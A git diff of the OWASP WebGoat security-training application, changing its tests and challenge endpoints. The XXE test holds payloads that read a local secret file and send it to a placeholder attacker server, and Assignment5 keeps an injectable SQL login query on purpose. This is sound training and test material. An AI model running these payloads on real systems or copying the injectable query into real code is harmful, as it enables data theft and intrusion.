import org.owasp.webgoat.i18n.PluginMessages;
|
||||||
import org.owasp.webgoat.session.WebSession;
|
import org.owasp.webgoat.session.WebSession;
|
||||||
import org.owasp.webgoat.session.WebgoatContext;
|
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.boot.test.context.SpringBootTest;
|
import org.springframework.boot.test.context.SpringBootTest;
|
||||||
import org.springframework.boot.test.mock.mockito.MockBean;
|
import org.springframework.boot.test.mock.mockito.MockBean;
|
||||||
@ -34,8 +33,7 @@ public abstract class LessonTest {
|
|||||||
protected PluginMessages messages;
|
protected PluginMessages messages;
|
||||||
@MockBean
|
@MockBean
|
||||||
protected WebSession webSession;
|
protected WebSession webSession;
|
||||||
@Autowired
|
|
||||||
private WebgoatContext context;
|
|
||||||
@MockBean
|
@MockBean
|
||||||
private Language language;
|
private Language language;
|
||||||
|
|
||||||
@ -43,7 +41,6 @@ public abstract class LessonTest {
|
|||||||
public void init() {
|
public void init() {
|
||||||
when(webSession.getUserName()).thenReturn("unit-test");
|
when(webSession.getUserName()).thenReturn("unit-test");
|
||||||
when(language.getLocale()).thenReturn(Locale.getDefault());
|
when(language.getLocale()).thenReturn(Locale.getDefault());
|
||||||
when(webSession.getWebgoatContext()).thenReturn(context);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -5,10 +5,12 @@ import org.junit.Test;
|
|||||||
import org.junit.runner.RunWith;
|
import org.junit.runner.RunWith;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
|
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
|
||||||
|
import org.springframework.test.context.ActiveProfiles;
|
||||||
import org.springframework.test.context.junit4.SpringRunner;
|
import org.springframework.test.context.junit4.SpringRunner;
|
||||||
|
|
||||||
@DataJpaTest
|
@DataJpaTest
|
||||||
@RunWith(SpringRunner.class)
|
@RunWith(SpringRunner.class)
|
||||||
|
@ActiveProfiles({"test", "webgoat"})
|
||||||
public class UserRepositoryTest {
|
public class UserRepositoryTest {
|
||||||
|
|
||||||
@Autowired
|
@Autowired
|
||||||
@ -24,6 +26,4 @@ public class UserRepositoryTest {
|
|||||||
Assertions.assertThat(user.getUsername()).isEqualTo("test");
|
Assertions.assertThat(user.getUsername()).isEqualTo("test");
|
||||||
Assertions.assertThat(user.getPassword()).isEqualTo("password");
|
Assertions.assertThat(user.getPassword()).isEqualTo("password");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
}
|
}
|
@ -9,12 +9,14 @@ import org.owasp.webgoat.lessons.Category;
|
|||||||
import org.owasp.webgoat.lessons.Lesson;
|
import org.owasp.webgoat.lessons.Lesson;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
|
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
|
||||||
|
import org.springframework.test.context.ActiveProfiles;
|
||||||
import org.springframework.test.context.junit4.SpringRunner;
|
import org.springframework.test.context.junit4.SpringRunner;
|
||||||
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
|
||||||
@DataJpaTest
|
@DataJpaTest
|
||||||
@RunWith(SpringRunner.class)
|
@RunWith(SpringRunner.class)
|
||||||
|
@ActiveProfiles({"test", "webgoat"})
|
||||||
public class UserTrackerRepositoryTest {
|
public class UserTrackerRepositoryTest {
|
||||||
|
|
||||||
private class TestLesson extends Lesson {
|
private class TestLesson extends Lesson {
|
||||||
@ -44,7 +46,6 @@ public class UserTrackerRepositoryTest {
|
|||||||
@Autowired
|
@Autowired
|
||||||
private UserTrackerRepository userTrackerRepository;
|
private UserTrackerRepository userTrackerRepository;
|
||||||
|
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void saveUserTracker() {
|
public void saveUserTracker() {
|
||||||
UserTracker userTracker = new UserTracker("test");
|
UserTracker userTracker = new UserTracker("test");
|
||||||
|
@ -1,4 +1,5 @@
|
|||||||
webgoat.user.directory=${java.io.tmpdir}
|
webgoat.user.directory=${java.io.tmpdir}
|
||||||
|
|
||||||
spring.datasource.url=jdbc:hsqldb:mem:test
|
spring.datasource.url=jdbc:hsqldb:mem:test
|
||||||
spring.jpa.hibernate.ddl-auto=create-drop
|
webgoat.start.hsqldb=false
|
||||||
|
spring.flyway.locations=classpath:/db/container
|
||||||
|
@ -25,7 +25,7 @@ public abstract class IntegrationTest {
|
|||||||
private static String WEBGOAT_URL = "http://127.0.0.1:" + WG_PORT + "/WebGoat/";
|
private static String WEBGOAT_URL = "http://127.0.0.1:" + WG_PORT + "/WebGoat/";
|
||||||
private static String WEBWOLF_URL = "http://127.0.0.1:" + WW_PORT + "/";
|
private static String WEBWOLF_URL = "http://127.0.0.1:" + WW_PORT + "/";
|
||||||
private static boolean WG_SSL = false;//enable this if you want to run the test on ssl
|
private static boolean WG_SSL = false;//enable this if you want to run the test on ssl
|
||||||
|
|
||||||
@Getter
|
@Getter
|
||||||
private String webGoatCookie;
|
private String webGoatCookie;
|
||||||
@Getter
|
@Getter
|
||||||
@ -37,18 +37,16 @@ public abstract class IntegrationTest {
|
|||||||
|
|
||||||
@BeforeClass
|
@BeforeClass
|
||||||
public static void beforeAll() {
|
public static void beforeAll() {
|
||||||
|
if (WG_SSL) {
|
||||||
if (WG_SSL) {
|
|
||||||
WEBGOAT_URL = WEBGOAT_URL.replace("http:","https:");
|
WEBGOAT_URL = WEBGOAT_URL.replace("http:","https:");
|
||||||
}
|
}
|
||||||
|
if (!started) {
|
||||||
if (!started) {
|
|
||||||
started = true;
|
started = true;
|
||||||
if (!isAlreadyRunning(WG_PORT)) {
|
if (!isAlreadyRunning(WG_PORT)) {
|
||||||
SpringApplicationBuilder wgs = new SpringApplicationBuilder(StartWebGoat.class)
|
SpringApplicationBuilder wgs = new SpringApplicationBuilder(StartWebGoat.class)
|
||||||
.properties(Map.of("spring.config.name", "application-webgoat,application-inttest", "WEBGOAT_SSLENABLED", WG_SSL, "WEBGOAT_PORT", WG_PORT));
|
.properties(Map.of("spring.config.name", "application-webgoat,application-inttest", "WEBGOAT_SSLENABLED", WG_SSL, "WEBGOAT_PORT", WG_PORT));
|
||||||
wgs.run();
|
wgs.run();
|
||||||
|
|
||||||
}
|
}
|
||||||
if (!isAlreadyRunning(WW_PORT)) {
|
if (!isAlreadyRunning(WW_PORT)) {
|
||||||
SpringApplicationBuilder wws = new SpringApplicationBuilder(WebWolf.class)
|
SpringApplicationBuilder wws = new SpringApplicationBuilder(WebWolf.class)
|
||||||
@ -80,13 +78,13 @@ public abstract class IntegrationTest {
|
|||||||
|
|
||||||
@Before
|
@Before
|
||||||
public void login() {
|
public void login() {
|
||||||
|
|
||||||
String location = given()
|
String location = given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.formParam("username", webgoatUser)
|
.formParam("username", webgoatUser)
|
||||||
.formParam("password", "password")
|
.formParam("password", "password")
|
||||||
.post(url("login")).then()
|
.post(url("login")).then()
|
||||||
.cookie("JSESSIONID")
|
.cookie("JSESSIONID")
|
||||||
.statusCode(302)
|
.statusCode(302)
|
||||||
.extract().header("Location");
|
.extract().header("Location");
|
||||||
@ -212,7 +210,7 @@ public abstract class IntegrationTest {
|
|||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("service/lessonoverview.mvc"))
|
.get(url("service/lessonoverview.mvc"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true)));
|
.statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true)));
|
||||||
|
|
||||||
Assert.assertThat(RestAssured.given()
|
Assert.assertThat(RestAssured.given()
|
||||||
@ -238,22 +236,21 @@ public abstract class IntegrationTest {
|
|||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
|
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
|
||||||
}
|
}
|
||||||
|
public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
|
||||||
public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
|
|
||||||
Assert.assertThat(
|
Assert.assertThat(
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.queryParams(params)
|
.queryParams(params)
|
||||||
.get(url)
|
.get(url)
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
|
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
|
||||||
}
|
}
|
||||||
|
|
||||||
public String getWebGoatServerPath() throws IOException {
|
public String getWebGoatServerPath() throws IOException {
|
||||||
|
|
||||||
//read path from server
|
//read path from server
|
||||||
String result = RestAssured.given()
|
String result = RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
@ -265,9 +262,9 @@ public abstract class IntegrationTest {
|
|||||||
result = result.replace("%20", " ");
|
result = result.replace("%20", " ");
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
public String getWebWolfServerPath() throws IOException {
|
public String getWebWolfServerPath() throws IOException {
|
||||||
|
|
||||||
//read path from server
|
//read path from server
|
||||||
String result = RestAssured.given()
|
String result = RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
@ -279,6 +276,6 @@ public abstract class IntegrationTest {
|
|||||||
result = result.replace("%20", " ");
|
result = result.replace("%20", " ");
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -39,14 +39,14 @@ public class SqlInjectionLessonTest extends IntegrationTest {
|
|||||||
params.put("query", sql_3);
|
params.put("query", sql_3);
|
||||||
checkAssignment(url("/WebGoat/SqlInjection/attack3"), params, true);
|
checkAssignment(url("/WebGoat/SqlInjection/attack3"), params, true);
|
||||||
|
|
||||||
params.clear();
|
|
||||||
params.put("query", sql_4_drop);
|
|
||||||
checkAssignment(url("/WebGoat/SqlInjection/attack4"), params, false);
|
|
||||||
|
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("query", sql_4_add);
|
params.put("query", sql_4_add);
|
||||||
checkAssignment(url("/WebGoat/SqlInjection/attack4"), params, true);
|
checkAssignment(url("/WebGoat/SqlInjection/attack4"), params, true);
|
||||||
|
|
||||||
|
params.clear();
|
||||||
|
params.put("query", sql_4_drop);
|
||||||
|
checkAssignment(url("/WebGoat/SqlInjection/attack4"), params, false);
|
||||||
|
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("query", sql_5);
|
params.put("query", sql_5);
|
||||||
checkAssignment(url("/WebGoat/SqlInjection/attack5"), params, true);
|
checkAssignment(url("/WebGoat/SqlInjection/attack5"), params, true);
|
||||||
|
@ -16,70 +16,59 @@ public class XXETest extends IntegrationTest {
|
|||||||
private static final String xxe4 = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE user [<!ENTITY xxe SYSTEM \"file:///\">]><comment><text>&xxe;test</text></comment>";
|
private static final String xxe4 = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE user [<!ENTITY xxe SYSTEM \"file:///\">]><comment><text>&xxe;test</text></comment>";
|
||||||
private static final String dtd7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!ENTITY % file SYSTEM \"file:SECRET\"><!ENTITY % all \"<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>\">%all;";
|
private static final String dtd7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!ENTITY % file SYSTEM \"file:SECRET\"><!ENTITY % all \"<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>\">%all;";
|
||||||
private static final String xxe7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM \"WEBWOLFURL/USERNAME/blind.dtd\">%remote;]><comment><text>test&send;</text></comment>";
|
private static final String xxe7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM \"WEBWOLFURL/USERNAME/blind.dtd\">%remote;]><comment><text>test&send;</text></comment>";
|
||||||
|
|
||||||
private String webGoatHomeDirectory;
|
private String webGoatHomeDirectory;
|
||||||
private String webwolfFileDir;
|
private String webwolfFileDir;
|
||||||
|
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void runTests() throws IOException {
|
public void runTests() throws IOException {
|
||||||
startLesson("XXE");
|
startLesson("XXE");
|
||||||
|
|
||||||
webGoatHomeDirectory = getWebGoatServerPath();
|
webGoatHomeDirectory = getWebGoatServerPath();
|
||||||
webwolfFileDir = getWebWolfServerPath();
|
webwolfFileDir = getWebWolfServerPath();
|
||||||
|
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
|
||||||
checkAssignment(url("/WebGoat/xxe/simple"),ContentType.XML,xxe3,true);
|
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
|
||||||
|
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true);
|
||||||
checkAssignment(url("/WebGoat/xxe/content-type"),ContentType.XML,xxe4,true);
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
checkAssignment(url("/WebGoat/xxe/blind"),ContentType.XML,"<comment><text>"+getSecret()+"</text></comment>",true );
|
|
||||||
|
|
||||||
checkResults("xxe/");
|
checkResults("xxe/");
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* This performs the steps of the exercise before the secret can be committed in the final step.
|
* This performs the steps of the exercise before the secret can be committed in the final step.
|
||||||
|
*
|
||||||
* @return
|
* @return
|
||||||
* @throws IOException
|
* @throws IOException
|
||||||
*/
|
*/
|
||||||
private String getSecret() throws IOException {
|
private String getSecret() throws IOException {
|
||||||
|
//remove any left over DTD
|
||||||
//remove any left over DTD
|
Path webWolfFilePath = Paths.get(webwolfFileDir);
|
||||||
Path webWolfFilePath = Paths.get(webwolfFileDir);
|
if (webWolfFilePath.resolve(Paths.get(getWebgoatUser(), "blind.dtd")).toFile().exists()) {
|
||||||
if (webWolfFilePath.resolve(Paths.get(getWebgoatUser(),"blind.dtd")).toFile().exists()) {
|
Files.delete(webWolfFilePath.resolve(Paths.get(getWebgoatUser(), "blind.dtd")));
|
||||||
Files.delete(webWolfFilePath.resolve(Paths.get(getWebgoatUser(),"blind.dtd")));
|
|
||||||
}
|
}
|
||||||
String secretFile = webGoatHomeDirectory.concat("/XXE/secret.txt");
|
String secretFile = webGoatHomeDirectory.concat("/XXE/secret.txt");
|
||||||
String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
|
String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
|
||||||
|
|
||||||
//upload DTD
|
//upload DTD
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||||
.multiPart("file", "blind.dtd", dtd7String.getBytes())
|
.multiPart("file", "blind.dtd", dtd7String.getBytes())
|
||||||
.post(webWolfUrl("/WebWolf/fileupload"))
|
.post(webWolfUrl("/WebWolf/fileupload"))
|
||||||
.then()
|
.then()
|
||||||
.extract().response().getBody().asString();
|
.extract().response().getBody().asString();
|
||||||
|
|
||||||
//upload attack
|
//upload attack
|
||||||
String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", getWebgoatUser());
|
String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", getWebgoatUser());
|
||||||
checkAssignment(url("/WebGoat/xxe/blind?send=test"),ContentType.XML,xxe7String,false );
|
checkAssignment(url("/WebGoat/xxe/blind?send=test"), ContentType.XML, xxe7String, false);
|
||||||
|
|
||||||
//read results from WebWolf
|
//read results from WebWolf
|
||||||
String result = RestAssured.given()
|
String result = RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||||
.get(webWolfUrl("/WebWolf/requests"))
|
.get(webWolfUrl("/WebWolf/requests"))
|
||||||
.then()
|
.then()
|
||||||
.extract().response().getBody().asString();
|
.extract().response().getBody().asString();
|
||||||
result = result.replace("%20", " ");
|
result = result.replace("%20", " ");
|
||||||
result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("),result.lastIndexOf("WebGoat 8.0 rocks... (")+33);
|
result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -23,96 +23,48 @@
|
|||||||
package org.owasp.webgoat.challenges.challenge5;
|
package org.owasp.webgoat.challenges.challenge5;
|
||||||
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.apache.commons.lang3.RandomStringUtils;
|
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.challenges.Flag;
|
import org.owasp.webgoat.challenges.Flag;
|
||||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
|
||||||
import org.owasp.webgoat.session.WebSession;
|
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
|
||||||
import org.springframework.util.StringUtils;
|
import org.springframework.util.StringUtils;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
import java.sql.*;
|
import javax.sql.DataSource;
|
||||||
|
import java.sql.PreparedStatement;
|
||||||
|
import java.sql.ResultSet;
|
||||||
|
|
||||||
import static org.owasp.webgoat.challenges.SolutionConstants.PASSWORD_TOM;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author nbaars
|
|
||||||
* @since 4/8/17.
|
|
||||||
*/
|
|
||||||
@RestController
|
@RestController
|
||||||
@Slf4j
|
@Slf4j
|
||||||
public class Assignment5 extends AssignmentEndpoint {
|
public class Assignment5 extends AssignmentEndpoint {
|
||||||
|
|
||||||
//Make it more random at runtime (good luck guessing)
|
private final DataSource dataSource;
|
||||||
private static final String USERS_TABLE_NAME = "challenge_users_" + RandomStringUtils.randomAlphabetic(16);
|
|
||||||
|
|
||||||
@Autowired
|
public Assignment5(DataSource dataSource) {
|
||||||
private WebSession webSession;
|
this.dataSource = dataSource;
|
||||||
|
}
|
||||||
|
|
||||||
@PostMapping("/challenge/5")
|
@PostMapping("/challenge/5")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {
|
public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {
|
||||||
Connection connection = DatabaseUtilities.getConnection(webSession);
|
|
||||||
checkDatabase(connection);
|
|
||||||
|
|
||||||
if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) {
|
if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) {
|
||||||
return failed().feedback("required4").build();
|
return failed().feedback("required4").build();
|
||||||
}
|
}
|
||||||
if (!"Larry".equals(username_login)) {
|
if (!"Larry".equals(username_login)) {
|
||||||
return failed().feedback("user.not.larry").feedbackArgs(username_login).build();
|
return failed().feedback("user.not.larry").feedbackArgs(username_login).build();
|
||||||
}
|
}
|
||||||
|
try (var connection = dataSource.getConnection()) {
|
||||||
|
PreparedStatement statement = connection.prepareStatement("select password from challenge_users where userid = '" + username_login + "' and password = '" + password_login + "'");
|
||||||
|
ResultSet resultSet = statement.executeQuery();
|
||||||
|
|
||||||
PreparedStatement statement = connection.prepareStatement("select password from " + USERS_TABLE_NAME + " where userid = '" + username_login + "' and password = '" + password_login + "'");
|
if (resultSet.next()) {
|
||||||
ResultSet resultSet = statement.executeQuery();
|
return success().feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(5)).build();
|
||||||
|
} else {
|
||||||
if (resultSet.next()) {
|
return failed().feedback("challenge.close").build();
|
||||||
return success().feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(5)).build();
|
}
|
||||||
} else {
|
|
||||||
return failed().feedback("challenge.close").build();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void checkDatabase(Connection connection) throws SQLException {
|
|
||||||
try {
|
|
||||||
Statement statement = connection.createStatement();
|
|
||||||
statement.execute("select 1 from " + USERS_TABLE_NAME);
|
|
||||||
} catch (SQLException e) {
|
|
||||||
createChallengeTable(connection);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private void createChallengeTable(Connection connection) {
|
|
||||||
Statement statement = null;
|
|
||||||
try {
|
|
||||||
statement = connection.createStatement();
|
|
||||||
String dropTable = "DROP TABLE " + USERS_TABLE_NAME;
|
|
||||||
statement.executeUpdate(dropTable);
|
|
||||||
} catch (SQLException e) {
|
|
||||||
log.info("Delete failed, this does not point to an error table might not have been present...");
|
|
||||||
}
|
|
||||||
log.debug("Challenge 5 - Creating tables for users {}", USERS_TABLE_NAME);
|
|
||||||
try {
|
|
||||||
String createTableStatement = "CREATE TABLE " + USERS_TABLE_NAME
|
|
||||||
+ " (" + "userid varchar(250),"
|
|
||||||
+ "email varchar(30),"
|
|
||||||
+ "password varchar(30)"
|
|
||||||
+ ")";
|
|
||||||
statement.executeUpdate(createTableStatement);
|
|
||||||
|
|
||||||
String insertData1 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('larry', 'larry@webgoat.org', 'larryknows')";
|
|
||||||
String insertData2 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('tom', 'tom@webgoat.org', '" + PASSWORD_TOM + "')";
|
|
||||||
String insertData3 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('alice', 'alice@webgoat.org', 'rt*(KJ()LP())$#**')";
|
|
||||||
String insertData4 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('eve', 'eve@webgoat.org', '**********')";
|
|
||||||
statement.executeUpdate(insertData1);
|
|
||||||
statement.executeUpdate(insertData2);
|
|
||||||
statement.executeUpdate(insertData3);
|
|
||||||
statement.executeUpdate(insertData4);
|
|
||||||
} catch (SQLException e) {
|
|
||||||
log.error("Unable create table", e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -1,132 +0,0 @@
|
|||||||
package org.owasp.webgoat.challenges.challenge6;
|
|
||||||
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
|
||||||
import org.apache.commons.lang3.RandomStringUtils;
|
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
|
||||||
import org.owasp.webgoat.challenges.Flag;
|
|
||||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
|
||||||
import org.owasp.webgoat.session.WebSession;
|
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
|
||||||
import org.springframework.util.StringUtils;
|
|
||||||
import org.springframework.web.bind.annotation.*;
|
|
||||||
|
|
||||||
import java.sql.*;
|
|
||||||
|
|
||||||
import static org.owasp.webgoat.challenges.SolutionConstants.PASSWORD_TOM;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author nbaars
|
|
||||||
* @since 4/8/17.
|
|
||||||
*/
|
|
||||||
@RestController
|
|
||||||
@Slf4j
|
|
||||||
public class Assignment6 extends AssignmentEndpoint {
|
|
||||||
|
|
||||||
//Make it more random at runtime (good luck guessing)
|
|
||||||
private static final String USERS_TABLE_NAME = "challenge_users_6" + RandomStringUtils.randomAlphabetic(16);
|
|
||||||
|
|
||||||
@Autowired
|
|
||||||
private WebSession webSession;
|
|
||||||
|
|
||||||
public Assignment6() {
|
|
||||||
log.info("Challenge 6 tablename is: {}", USERS_TABLE_NAME);
|
|
||||||
}
|
|
||||||
|
|
||||||
@PutMapping("/challenge/6") //assignment path is bounded to class so we use different http method :-)
|
|
||||||
@ResponseBody
|
|
||||||
public AttackResult registerNewUser(@RequestParam String username_reg, @RequestParam String email_reg, @RequestParam String password_reg) throws Exception {
|
|
||||||
AttackResult attackResult = checkArguments(username_reg, email_reg, password_reg);
|
|
||||||
|
|
||||||
if (attackResult == null) {
|
|
||||||
Connection connection = DatabaseUtilities.getConnection(webSession);
|
|
||||||
checkDatabase(connection);
|
|
||||||
|
|
||||||
String checkUserQuery = "select userid from " + USERS_TABLE_NAME + " where userid = '" + username_reg + "'";
|
|
||||||
Statement statement = connection.createStatement();
|
|
||||||
ResultSet resultSet = statement.executeQuery(checkUserQuery);
|
|
||||||
|
|
||||||
if (resultSet.next()) {
|
|
||||||
attackResult = failed().feedback("user.exists").feedbackArgs(username_reg).build();
|
|
||||||
} else {
|
|
||||||
PreparedStatement preparedStatement = connection.prepareStatement("INSERT INTO " + USERS_TABLE_NAME + " VALUES (?, ?, ?)");
|
|
||||||
preparedStatement.setString(1, username_reg);
|
|
||||||
preparedStatement.setString(2, email_reg);
|
|
||||||
preparedStatement.setString(3, password_reg);
|
|
||||||
preparedStatement.execute();
|
|
||||||
attackResult = success().feedback("user.created").feedbackArgs(username_reg).build();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return attackResult;
|
|
||||||
}
|
|
||||||
|
|
||||||
private AttackResult checkArguments(String username_reg, String email_reg, String password_reg) {
|
|
||||||
if (StringUtils.isEmpty(username_reg) || StringUtils.isEmpty(email_reg) || StringUtils.isEmpty(password_reg)) {
|
|
||||||
return failed().feedback("input.invalid").build();
|
|
||||||
}
|
|
||||||
if (username_reg.length() > 250 || email_reg.length() > 30 || password_reg.length() > 30) {
|
|
||||||
return failed().feedback("input.invalid").build();
|
|
||||||
}
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
@PostMapping("/challenge/6")
|
|
||||||
@ResponseBody
|
|
||||||
public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {
|
|
||||||
Connection connection = DatabaseUtilities.getConnection(webSession);
|
|
||||||
checkDatabase(connection);
|
|
||||||
|
|
||||||
PreparedStatement statement = connection.prepareStatement("select password from " + USERS_TABLE_NAME + " where userid = ? and password = ?");
|
|
||||||
statement.setString(1, username_login);
|
|
||||||
statement.setString(2, password_login);
|
|
||||||
ResultSet resultSet = statement.executeQuery();
|
|
||||||
|
|
||||||
if (resultSet.next() && "tom".equals(username_login)) {
|
|
||||||
return success().feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(6)).build();
|
|
||||||
} else {
|
|
||||||
return failed().feedback("challenge.close").build();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private void checkDatabase(Connection connection) throws SQLException {
|
|
||||||
try {
|
|
||||||
Statement statement = connection.createStatement();
|
|
||||||
statement.execute("select 1 from " + USERS_TABLE_NAME);
|
|
||||||
} catch (SQLException e) {
|
|
||||||
createChallengeTable(connection);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private void createChallengeTable(Connection connection) {
|
|
||||||
Statement statement = null;
|
|
||||||
try {
|
|
||||||
statement = connection.createStatement();
|
|
||||||
String dropTable = "DROP TABLE " + USERS_TABLE_NAME;
|
|
||||||
statement.executeUpdate(dropTable);
|
|
||||||
} catch (SQLException e) {
|
|
||||||
log.info("Delete failed, this does not point to an error table might not have been present...");
|
|
||||||
}
|
|
||||||
log.debug("Challenge 6 - Creating tables for users {}", USERS_TABLE_NAME);
|
|
||||||
try {
|
|
||||||
String createTableStatement = "CREATE TABLE " + USERS_TABLE_NAME
|
|
||||||
+ " (" + "userid varchar(250),"
|
|
||||||
+ "email varchar(30),"
|
|
||||||
+ "password varchar(30)"
|
|
||||||
+ ")";
|
|
||||||
statement.executeUpdate(createTableStatement);
|
|
||||||
|
|
||||||
String insertData1 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('larry', 'larry@webgoat.org', 'larryknows')";
|
|
||||||
String insertData2 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('tom', 'tom@webgoat.org', '" + PASSWORD_TOM + "')";
|
|
||||||
String insertData3 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('alice', 'alice@webgoat.org', 'rt*(KJ()LP())$#**')";
|
|
